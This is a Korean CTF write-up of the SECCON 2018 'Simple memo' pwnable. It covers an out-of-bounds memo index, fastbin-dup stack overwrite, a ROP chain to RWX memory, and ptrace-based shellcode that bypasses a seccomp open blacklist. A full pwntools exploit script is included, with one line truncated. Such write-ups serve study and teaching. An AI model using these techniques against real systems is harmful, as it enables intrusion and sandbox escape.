CTF/2018

SECCON 2018 QUAL - Simple memo

pwn3r_45 2018. 11. 2. 22:28

Category : pwnable

SimpleMemo
494
2 Solves

Host: smemo.pwn.seccon.jp
Port: 36384

Summary : seccomp bypass, orig_rax

  • 간만에 first blood 획득한 문제. 쓸데없는 삽질로 시간을 2배는 소요했다. google ctf 갔던 팀들이 나왔으면 못 땄을듯. 삽질 시간을 더 줄여야한다.

1. Vulnerability

1.1. Concept

  • memo를 add/show/delete 하는 기능을 가진 바이너리. 바이너리 구조는 굉장히 간단하다.
  • size 0x28의 heap chunk를 선언하여 사용자의 입력을 받고 해당 chunk의 주소를 memo_table에 저장한다.

1.2. OOB memo access -> arbitrary print, free

  • 작성한 memo를 show하는 기능과 delete하는 기능에서 memo index의 boundary check를 하지 않아 memory에 존재하는 임의의 주소를 print하거나 free할 수 있다.
  • 원하는 주소 값을 stack에 쓸 수 있어야하는데, 마침 getint 함수에서 stack에 0x80만큼의 data를 입력받는다. 이 때 stack에 남는 찌꺼기를 oob print, free에 활용할 수 있다.
  • 아래와 같이 index를 입력받을 때 puts_got 같은 주소를 함께 포함시키는 식으로 활용 가능
pie_base = u64(cmd_show('-2').ljust(8, '\x00')) - 0x1020
stack = u64(cmd_show('-4').ljust(8, '\x00')) - 0x90

print hex(pie_base)
print hex(stack)

puts_got = pie_base + 0x201668
libc_base = u64(cmd_show('-24'.ljust(0x10, '\x00') + p64(puts_got).ljust(0x6e, '\x00')).ljust(8, '\x00')) - 0x6f690

2. Exploitation

2.1. RIP Control

  • fastbin dup into stack으로 stack에 memo를 할당시켜서 getnline 내부함수의 return address를 덮어썼다.
  • (생각보다 위치잡는게 까다로워서 오래걸렸다.)
  • rip 를 system("sh")와 one gadget 으로 덮어씌워 /bin/sh를 실행했지만 이상하게 쉘이 뜨지 않았다.
cmd_add('pwn3r_1')  # 0
cmd_add('pwn3r_2') # 1

chunk0 = u64(cmd_show('-24'.ljust(0x10, '\x00') + p64(stack).ljust(0x6e, '\x00')).ljust(8, '\x00'))

cmd_delete('0')    # 0
cmd_delete('1')    # 1

cmd_delete('-24'.ljust(0x10, '\x00') + p64(chunk0).ljust(0x6e, '\x00'))    # 0

cmd_add(p64(stack - 0xb8)) # 0
cmd_add('nothing')    # 1
cmd_add('nothing')    # 0

cmd_show('-2'.ljust(0x7e, 'B'))

ru('> ')

sl('1'.ljust(8, '\x00'))
ru('Input memo >')
stage2_base = stack - 0xb8 + 0x10 + 0x28
freespace = stage2_base + 0x200
ss('A' * 0x10 + p64(libc_pop_rdi) + p64(stage2_base - 1) + p64(libc_gets))

2.2. Seccomp blacklist

  • 쉬운 문제들이 열리고 있던 시기라 이 문제 역시 간단한 문제인줄 알고 자세히 안봤었는데, init 함수를 보니 아래와 같이 seccomp를 설정하는 함수가 존재했다.
  • seccomp tools로 어떤 제약이 걸렸는지 확인한다.
$ seccomp-tools dump ./memo
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x01 0x00 0xc000003e  if (A == ARCH_X86_64) goto 0003
 0002: 0x06 0x00 0x00 0x00000000  return KILL
 0003: 0x20 0x00 0x00 0x00000000  A = sys_number
 0004: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0006
 0005: 0x06 0x00 0x00 0x00000000  return KILL
 0006: 0x15 0x01 0x00 0x00000002  if (A == open) goto 0008
 0007: 0x15 0x00 0x01 0x00000101  if (A != openat) goto 0009
 0008: 0x06 0x00 0x00 0x00000000  return KILL
 0009: 0x06 0x00 0x00 0x7fff0000  return ALLOW
  • architecture == x86_64 && syscall number < 0x4000000 && syscall number not in [sys_open, sys_openat] 대략 이런 조건이다. open/openat이 막혀있어서 flag를 읽을 수도 없고 execve를 불러도 결국 필수 파일들 읽어올때 open을 불러야하므로 암것도 못한다.

  • 원래는 실행 중 32bit mode로 변경하여 x86과 x86_64 system call number 차이를 이용하려 했지만 막혀있다. (이것도 자세히 안보고 payload 짰다가 시간날림.)

  • 아이디어를 떠올리던 중 ptrace 를 이용해 우회할 방법이 있을지 검색했다.

2.3. Bypass seccomp blacklist

  • 검색 결과 아래 gist에 있는 코드를 발견하게 되었고 ptrace 를 이용하면 우회가 가능하다는 것을 확인했다.

https://gist.github.com/thejh/8346f47e359adecd1d53

  • 코드를 요약하면 아래와 같다.
clone (parent, child)
parent : waitpid(childpid, NULL, 0)

child  : ptrace(PTRACE_TRACEME, 0, NULL, NULL)
child  : syscall(SYS_tkill, syscall(SYS_gettid), SIGSTOP)

parent : ptrace(PTRACE_SYSCALL, childpid, NULL, NULL)
parent : waitpid(childpid, NULL, 0)

child  : syscall(SYS_getpid, (unsigned long)"/etc/passwd", O_RDONLY);

parent : ptrace(PTRACE_GETREGS, childpid, NULL, &regs)
parent : regs.orig_rax = SYS_open;
parent : ptrace(PTRACE_SETREGS, childpid, NULL, &regs)
parent : ptrace(PTRACE_DETACH, childpid, NULL, NULL)

child  : ssize_t n = read(r, buf, sizeof(buf));
child  : write(1, buf, n);
  • 핵심은 debuggee(child)가 system call을 부를 때 parent가 후킹하여 orig_rax를 변경하면, orig_rax를 기준으로 system call을 호출하는 것이다.

  • 위 과정을 전부 ROP payload로 작성하는 것은 너무 힘든 것 같아 mmap으로 rwx memory를 할당하고, seccomp blacklist를 우회하는 shellcode를 작성했다.

2.4. Exploit

#!/usr/bin/python

from pwn import *

def cmd_add(memo):
   ru('> ')
   sl('1')
   ru('Input memo > ')
   sl(memo)
   rl()
def cmd_show(idx):
   ru('> ')
   sl('2')
   ru('Input id > ')
   sl(str(idx))
   rl()
   data = rl(False)
   return data

def cmd_delete(idx):
   ru('> ')
   sl('3')
   ru('Input id > ')
   sl(str(idx))
   rl()

#s = process('./memo')
s = remote('smemo.pwn.seccon.jp', 36384)
ru = s.recvuntil
rl = s.recvline
rr = s.recv
sl = s.sendline
ss = s.send

raw_input('>')
pie_base = u64(cmd_show('-2').ljust(8, '\x00')) - 0x1020
stack = u64(cmd_show('-4').ljust(8, '\x00')) - 0x90

print hex(pie_base)
print hex(stack)

puts_got = pie_base + 0x201668
libc_base = u64(cmd_show('-24'.ljust(0x10, '\x00') + p64(puts_got).ljust(0x6e, '\x00')).ljust(8, '\x00'

libc_gets = libc_base + 0x6ed80
libc_pop_rdi = libc_base + 0x0021102
libc_pop_rsi = libc_base + 0x000202e8
libc_pop_rdx = libc_base + 0x001150a6
libc_pop_rcx = libc_base + 0x000ea69a
# > 0x000ea69a : pop rcx; pop rbx; ret
libc_pop_r8 = libc_base + 0x00135136
libc_mov_r9 = libc_base + 0x0002185a
#> 0x0002185a : mov r9, r14; call rbx
libc_pop_r14 = libc_base + 0x000202e7
libc_pop_rsp = libc_base + 0x0001fb13

libc_pr = libc_base + 0x206c4
# > 0x000206c4 : pop r13; ret
libc_mmap = libc_base + 0x101680
print hex(libc_base)

cmd_add('pwn3r_1') # 0
cmd_add('pwn3r_2') # 1

chunk0 = u64(cmd_show('-24'.ljust(0x10, '\x00') + p64(stack).ljust(0x6e, '\x00')).ljust(8, '\x00'))

cmd_delete('0')    # 0
cmd_delete('1')    # 1

cmd_delete('-24'.ljust(0x10, '\x00') + p64(chunk0).ljust(0x6e, '\x00'))    # 0

cmd_add(p64(stack - 0xb8)) # 0
cmd_add('nothing')    # 1
cmd_add('nothing')    # 0

cmd_show('-2'.ljust(0x7e, 'B'))

ru('> ')

sl('1'.ljust(8, '\x00'))
ru('Input memo >')
stage2_base = stack - 0xb8 + 0x10 + 0x28
freespace = stage2_base + 0x200
ss('A' * 0x10 + p64(libc_pop_rdi) + p64(stage2_base - 1) + p64(libc_gets))

new_mem = 0xdeadb000

stage2 = ''
stage2 += p64(libc_pop_rdi)
stage2 += p64(new_mem)
stage2 += p64(libc_pop_rsi)
stage2 += p64(0x1000)
stage2 += p64(libc_pop_rdx)
stage2 += p64(7)
stage2 += p64(libc_pop_rcx)
stage2 += p64(0x22)
stage2 += p64(libc_pr) # rbx
stage2 += p64(libc_pop_r8)
stage2 += p64(0xffffffffffffffff)
stage2 += p64(libc_pop_r14)
stage2 += p64(0)
stage2 += p64(libc_mov_r9)
stage2 += p64(libc_mmap)
stage2 += p64(libc_pop_rdi)
stage2 += p64(new_mem + 0x200)
stage2 += p64(libc_gets)
stage2 += p64(libc_pr+2)
stage2 += p64(new_mem + 0x200)
sl(stage2)

stage3 = ''
context.arch = 'amd64'

PTRACE_TRACEME = 0
PTRACE_PEEKTEXT = 1
PTRACE_PEEKDATA = 2
PTRACE_SETREGS = 13
PTRACE_ATTACH = 16
PTRACE_SYSCALL = 24
PTRACE_GETREGS = 12
PTRACE_DETACH = 17

clone = asm('''
/* clone and branch */
mov rdi, 0x1200011
mov rsi, 0
mov rdx, 0
mov r10, rsp
add r10, 0x500
mov qword ptr [r10], 0
mov rax, 56

syscall
test rax, rax
''')

debugger = asm('''
/* time delay */
mov rdx, 0x30000000
dec rdx
test rdx, rdx
jnz $ - 6
push rax

/* waitpid(childpid, NULL, 0) */
mov rdi, rax
mov rsi, 0
mov rdx, 0
mov r10, 0
mov rax, 0x3d
syscall

/* ptrace(PTRACE_SYSCALL, childpid, NULL, NULL) */
mov rdi, 0x18
mov rsi, [rsp]
mov rdx, 0
mov r10, 0
mov rax, 0x65
syscall

/* waitpid(childpid, NULL, 0) */
mov rdi, [rsp]
mov rsi, 0
mov rdx, 0
mov r10, 0
mov rax, 0x3d
syscall

/* ptrace(PTRACE_GETREGS, childpid, NULL, &regs */
mov rdi, 0xc
mov rsi, [rsp]
mov rdx, 0x0
mov r10, rsp
add r10, 0x400
mov rcx, r10
mov rax, 0x65
syscall

/* ptrace(PTRACE_SETREGS, childpid, NULL, &regs) */
mov rdi, 0xd
mov rsi, [rsp]
mov rdx, 0
mov r10, rsp
add r10, 0x400
mov r9, r10
add r9, 0x78
mov qword ptr [r9], 0x0000000000000002
mov rax, 0x65
syscall

/* ptrace(PTRACE_DETACH, childpid, NULL, NULL) */
mov rdi, 0x11
mov rsi, [rsp]
mov rdx, 0
mov r10, 0
mov rax, 101
syscall

mov rax, 0x3c
syscall
''')

debuggee = asm('''
/* ptrace(PTRACE_TRACEME, 0, NULL, NULL) */
mov rdi, 0
mov rsi, 0
mov rdx, 0
mov r10, 0
mov rax, 101
syscall

/* syscall(SYS_gettid) */
mov rax, 0x27/*0xba*/
syscall

/* syscall(SYS_tkill, pid, SIGSTOP) */
mov rdi, rax
mov rsi, 0x13
mov rax, 0x3e/*0xc8*/
syscall
''' + shellcraft.pushstr('flag.txt') + '''
/* open(file='rsp', oflag=0, mode=0) */
mov rdi, rsp
xor edx, edx /* 0 */
xor esi, esi /* 0 */
/* call open() */
xor rax, rax
mov rax, 39/*getpid*/
syscall
''' +
shellcraft.read('rax', 'rsp', 100) + shellcraft.write(1, 'rsp', 100))


stage3 += clone
stage3 += asm('jz $+{}'.format(len(debugger)+6))
stage3 += debugger
stage3 += debuggee

sl(stage3)

s.interactive()
s.close()
$ python ex.py
[+] Opening connection to smemo.pwn.seccon.jp on port 36384: Done
>
0x55f8f149b000
0x7ffe0e221840
0x7fbb0cacb000
[*] Switching to interactive mode
 SECCON{bl4ck_l157_SECCOMP_h45_l075_0f_l00ph0l35}
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
$

Flag : SECCON{bl4ck_l157_SECCOMP_h45_l075_0f_l00ph0l35}